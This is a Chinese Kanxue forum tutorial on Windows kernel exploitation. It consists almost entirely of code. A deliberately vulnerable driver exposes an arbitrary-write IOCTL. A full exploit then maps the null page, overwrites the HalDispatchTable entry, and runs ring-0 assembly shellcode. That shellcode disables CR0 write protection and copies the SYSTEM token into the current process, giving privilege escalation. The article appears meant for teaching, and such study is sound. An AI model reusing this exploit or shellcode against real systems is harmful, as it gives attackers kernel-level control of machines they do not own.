本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
二
漏洞程序
VOID DriverUnload(IN PDRIVER_OBJECT driverObject);NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp);NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath){NTSTATUS status = STATUS_SUCCESS;PDEVICE_OBJECT pDeviceObj = NULL;UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME);UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK);ULONG i = 0;// 创建设备status = IoCreateDevice(driverObject,NULL,&uDeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&pDeviceObj);if (!NT_SUCCESS(status)){DbgPrint("IoCreateDevice Error 0x%X\r\n", status);goto exit;}// 设置数据交互方式// pDeviceObj->Flags |= DO_BUFFERED_IO; // 缓冲区方式读写// pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式读写// 创建符号链接status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName);if (!NT_SUCCESS(status)){DbgPrint("IoCreateSymbolicLink Error 0x%X\r\n", status);goto exit;}for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){driverObject->MajorFunction[i] = DispatchCommon;}driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl;DbgPrint("驱动加载成功\r\n");exit:driverObject->DriverUnload = DriverUnload;return STATUS_SUCCESS;}NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp){NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;PIO_STACK_LOCATION pIoStack = NULL;ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0;PVOID pInputBuffer = NULL, pOutputBuffer = NULL;// 获取设备栈pIoStack = IoGetCurrentIrpStackLocation(pIrp);// 获取输入缓冲区长度与输入缓冲区uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength;pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer;// 获取输出缓冲区长度与输出缓冲区uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength;pOutputBuffer = pIrp->UserBuffer;// 获取控制码uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode;// 根据控制码执行操作switch(uIoControlCode){case CTL_EXPLOIT_ME:{DbgPrint("CTL_EXPLOIT_ME");if (uInputLength >= 4 && uOutputLength >= 4){// 将输入地址中的内容赋值到输出地址中*(PULONG)pOutputBuffer = *(PULONG)pInputBuffer;uInformation = sizeof(ULONG);status = STATUS_SUCCESS;}break;}default:{break;}}pIrp->IoStatus.Information = uInformation;pIrp->IoStatus.Status = status;IoCompleteRequest(pIrp, IO_NO_INCREMENT);return STATUS_SUCCESS;}NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp){pIrp->IoStatus.Status = STATUS_SUCCESS;pIrp->IoStatus.Information = 0;IoCompleteRequest(pIrp, IO_NO_INCREMENT);return STATUS_SUCCESS;}VOID DriverUnload(IN PDRIVER_OBJECT driverObject){UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK);if (driverObject->DeviceObject){IoDeleteSymbolicLink(&uSymbolLinkName);IoDeleteDevice(driverObject->DeviceObject);}DbgPrint("驱动卸载完成\r\n");}
void ShowError(PCHAR msg);int main(){HANDLE hDevice = NULL;DWORD dwInput = 1900;DWORD dwOutput = 0;DWORD dwReturnLength = 0;hDevice = CreateFile(LINK_NAME,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);if (hDevice == INVALID_HANDLE_VALUE){ShowError("CreateFile");goto exit;}printf("修改前的dwOutput:%d\n", dwOutput);if (!DeviceIoControl(hDevice,CTL_EXPLOIT_ME,&dwInput,INPUT_BUFFER_LENGTH,&dwOutput,OUT_BUFFER_LENGTH,&dwReturnLength,NULL)){ShowError("DeviceIoControl");goto exit;}printf("修改后的dwOutput:%d\n", dwOutput);exit:system("pause");return 0;}void ShowError(PCHAR msg){printf("%s Error %d\n", msg, GetLastError());}
三
漏洞利用
NTSTATUSNtAllocateVirtualMemory(__in HANDLE ProcessHandle,__inout PVOID *BaseAddress,__in ULONG_PTR ZeroBits,__inout PSIZE_T RegionSize,__in ULONG AllocationType,__in ULONG Protect );
typedef struct {ULONG Version;pHalQuerySystemInformation HalQuerySystemInformation;pHalSetSystemInformation HalSetSystemInformation;pHalQueryBusSlots HalQueryBusSlots;ULONG Spare1;pHalExamineMBR HalExamineMBR;pHalIoReadPartitionTable HalIoReadPartitionTable;pHalIoSetPartitionInformation HalIoSetPartitionInformation;pHalIoWritePartitionTable HalIoWritePartitionTable;pHalHandlerForBus HalReferenceHandlerForBus;pHalReferenceBusHandler HalReferenceBusHandler;pHalReferenceBusHandler HalDereferenceBusHandler;pHalInitPnpDriver HalInitPnpDriver;pHalInitPowerManagement HalInitPowerManagement;pHalGetDmaAdapter HalGetDmaAdapter;pHalGetInterruptTranslator HalGetInterruptTranslator;pHalStartMirroring HalStartMirroring;pHalEndMirroring HalEndMirroring;pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;pHalEndOfBoot HalEndOfBoot;pHalMirrorVerify HalMirrorVerify;pHalGetAcpiTable HalGetCachedAcpiTable;pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback;#if defined(_IA64_)pHalGetErrorCapList HalGetErrorCapList;pHalInjectError HalInjectError;#endifHAL_DISPATCH, *PHAL_DISPATCH;
NTSTATUS WINAPI ZwQuerySystemInformation(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,__inout PVOID SystemInformation,__in ULONG SystemInformationLength,__out_opt PULONG ReturnLength);
typedef enum _SYSTEM_INFORMATION_CLASS {SystemInformationClassMin = 0,SystemBasicInformation = 0,SystemProcessInformation = 5,SystemProcessesAndThreadsInformation = 5,SystemModuleInformation = 11,SystemExceptionInformation = 33,SystemKernelDebuggerInformation = 35,SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {ULONG Unknown1;ULONG Unknown2;PVOID Base;ULONG Size;ULONG Flags;USHORT Index;Length of module name not including the path, thisfield contains valid value only for NTOSKRNL module */USHORT NameLength;USHORT LoadCount;USHORT PathLength;CHAR ImageName[256];SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;typedef struct _SYSTEM_MODULE_INFORMATION {ULONG Count;SYSTEM_MODULE_INFORMATION_ENTRY Module[1];SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcallIMP_SYSCALLPWSTR DllPath OPTIONAL,IN PULONG DllCharacteristics OPTIONAL,IN PUNICODE_STRING DllName,OUT PVOID *DllHandle);
四
ShellCode的提权原理
kd> dt _KPCRnt!_KPCR+0x000 NtTib : _NT_TIB+0x01c SelfPcr : Ptr32 _KPCR+0x020 Prcb : Ptr32 _KPRCB+0x024 Irql : UChar+0x028 IRR : Uint4B+0x02c IrrActive : Uint4B+0x030 IDR : Uint4B+0x034 KdVersionBlock : Ptr32 Void+0x038 IDT : Ptr32 _KIDTENTRY+0x03c GDT : Ptr32 _KGDTENTRY+0x040 TSS : Ptr32 _KTSS+0x044 MajorVersion : Uint2B+0x046 MinorVersion : Uint2B+0x048 SetMember : Uint4B+0x04c StallScaleFactor : Uint4B+0x050 DebugActive : UChar+0x051 Number : UChar+0x052 Spare0 : UChar+0x053 SecondLevelCacheAssociativity : UChar+0x054 VdmAlert : Uint4B+0x058 KernelReserved : [14] Uint4B+0x090 SecondLevelCacheSize : Uint4B+0x094 HalReserved : [16] Uint4B+0x0d4 InterruptMode : Uint4B+0x0d8 Spare1 : UChar+0x0dc KernelReserved2 : [17] Uint4B+0x120 PrcbData : _KPRCB
kd> dt _KPRCBntdll!_KPRCB+0x000 MinorVersion : Uint2B+0x002 MajorVersion : Uint2B+0x004 CurrentThread : Ptr32 _KTHREAD+0x008 NextThread : Ptr32 _KTHREAD+0x00c IdleThread : Ptr32 _KTHREAD+0x010 Number : Char
kd> dt _ETHREADntdll!_ETHREAD+0x000 Tcb : _KTHREAD+0x1c0 CreateTime : _LARGE_INTEGER+0x1c0 NestedFaultCount : Pos 0, 2 Bits+0x1c0 ApcNeeded : Pos 2, 1 Bit+0x1c8 ExitTime : _LARGE_INTEGER+0x1c8 LpcReplyChain : _LIST_ENTRY+0x1c8 KeyedWaitChain : _LIST_ENTRY+0x1d0 ExitStatus : Int4B+0x1d0 OfsChain : Ptr32 Void+0x1d4 PostBlockList : _LIST_ENTRY+0x1dc TerminationPort : Ptr32 _TERMINATION_PORT+0x1dc ReaperLink : Ptr32 _ETHREAD+0x1dc KeyedWaitValue : Ptr32 Void+0x1e0 ActiveTimerListLock : Uint4B+0x1e4 ActiveTimerListHead : _LIST_ENTRY+0x1ec Cid : _CLIENT_ID+0x1f4 LpcReplySemaphore : _KSEMAPHORE+0x1f4 KeyedWaitSemaphore : _KSEMAPHORE+0x208 LpcReplyMessage : Ptr32 Void+0x208 LpcWaitingOnPort : Ptr32 Void+0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION+0x210 IrpList : _LIST_ENTRY+0x218 TopLevelIrp : Uint4B+0x21c DeviceToVerify : Ptr32 _DEVICE_OBJECT+0x220 ThreadsProcess : Ptr32 _EPROCESS+0x224 StartAddress : Ptr32 Void+0x228 Win32StartAddress : Ptr32 Void
kd> dt _EPROCESSntdll!_EPROCESS+0x000 Pcb : _KPROCESS+0x06c ProcessLock : _EX_PUSH_LOCK+0x070 CreateTime : _LARGE_INTEGER+0x078 ExitTime : _LARGE_INTEGER+0x080 RundownProtect : _EX_RUNDOWN_REF+0x084 UniqueProcessId : Ptr32 Void+0x088 ActiveProcessLinks : _LIST_ENTRY+0x090 QuotaUsage : [3] Uint4B+0x09c QuotaPeak : [3] Uint4B+0x0a8 CommitCharge : Uint4B+0x0ac PeakVirtualSize : Uint4B+0x0b0 VirtualSize : Uint4B+0x0b4 SessionProcessLinks : _LIST_ENTRY+0x0bc DebugPort : Ptr32 Void+0x0c0 ExceptionPort : Ptr32 Void+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE+0x0c8 Token : _EX_FAST_REF+0x0cc WorkingSetLock : _FAST_MUTEX
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//void ShowError(PCHAR msg, NTSTATUS status);NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);BOOL g_bIsExecute = FALSE;int main(){NTSTATUS status = STATUS_SUCCESS;HANDLE hDevice = NULL;DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;PVOID ShellCodeAddress = NULL;PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL;DWORD dwImageBase = 0;PVOID pMappedBase = NULL;UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 };UNICODE_STRING uDllName;PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL;DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;// 获得0地址的内存ShellCodeAddress = (PVOID)sizeof(ULONG);status = NtAllocateVirtualMemory(NtCurrentProcess(),&ShellCodeAddress,0,&ShellCodeSize,MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);if (!NT_SUCCESS(status)){printf("NtAllocateVirtualMemory Error 0x%X\n", status);goto exit;}// 将ShellCode写到申请的0地址空间中RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize);// 此时dwReturnLength是0,所以函数会由于长度为0执行失败// 然后系统会在第四个参数指定的地址保存需要的内存大小status = ZwQuerySystemInformation(SystemModuleInformation,pModuleInformation,dwReturnLength,&dwReturnLength);if (status != STATUS_INFO_LENGTH_MISMATCH){ShowError("ZwQuerySystemInformation", status);goto exit;}// 按页大小对齐dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,dwReturnLength,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if (!pModuleInformation){printf("VirtualAlloc Error");goto exit;}status = ZwQuerySystemInformation(SystemModuleInformation,pModuleInformation,dwReturnLength,&dwReturnLength);if (!NT_SUCCESS(status)){ShowError("ZwQuerySystemInformation", status);goto exit;}// 模块加载的基地址dwImageBase = (DWORD)(pModuleInformation->Module[0].Base);// 获取模块名RtlMoveMemory(szImageName,(PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength),KERNEL_NAME_LENGTH);// 转换为UNICODE_STRING类型RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName);status = (NTSTATUS)LdrLoadDll(NULL,&dwDllCharacteristics,&uDllName,&pMappedBase);if (!NT_SUCCESS(status)){ShowError("LdrLoadDll", status);goto exit;}// 获取内核HalDispatchTable函数表地址pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable");if (pHalDispatchTable == NULL){printf("GetProcAddress Error\n");goto exit;}pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase);pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG));// 打开驱动设备hDevice = CreateFile(LINK_NAME,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);if (hDevice == INVALID_HANDLE_VALUE){printf("CreateFile Error");goto exit;}DWORD dwInput = 0;// 与驱动设备进行交互if (!DeviceIoControl(hDevice,CTL_EXPLOIT_ME,&dwInput,INPUT_BUFFER_LENGTH,pXHalQuerySystemInformation,OUT_BUFFER_LENGTH,&dwReturnLength,NULL)){printf("DeviceIoControl Error");goto exit;}status = NtQueryIntervalProfile(ProfileTotalIssues, NULL);if (!NT_SUCCESS(status)){ShowError("NtQueryIntervalProfile", status);goto exit;}if (g_bIsExecute) printf("Ring0 代码执行完成\n");exit:if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE);if (hDevice) NtClose(hDevice);if (pMappedBase) LdrUnloadDll(pMappedBase);system("pause");return 0;}NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength){// 关闭页保护__asm{climov eax, cr0and eax, ~0x10000mov cr0, eax}__asm{// 取当前线程mov eax, 0xFFDFF124mov eax, [eax]// 取线程对应的EPROCESSmov esi, [eax + 0x220]mov eax, esisearchXp:mov eax, [eax + 0x88]sub eax, 0x88mov edx, [eax + 0x84]cmp edx, 0x4jne searchXpmov eax, [eax + 0xC8]mov [esi + 0xC8], eax}// 开起页保护__asm{mov eax, cr0or eax, 0x10000mov cr0, eaxsti}g_bIsExecute = TRUE;}void ShowError(PCHAR msg, NTSTATUS status){printf("%s Error 0x%X\n", msg, status);}
五
运行结果
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!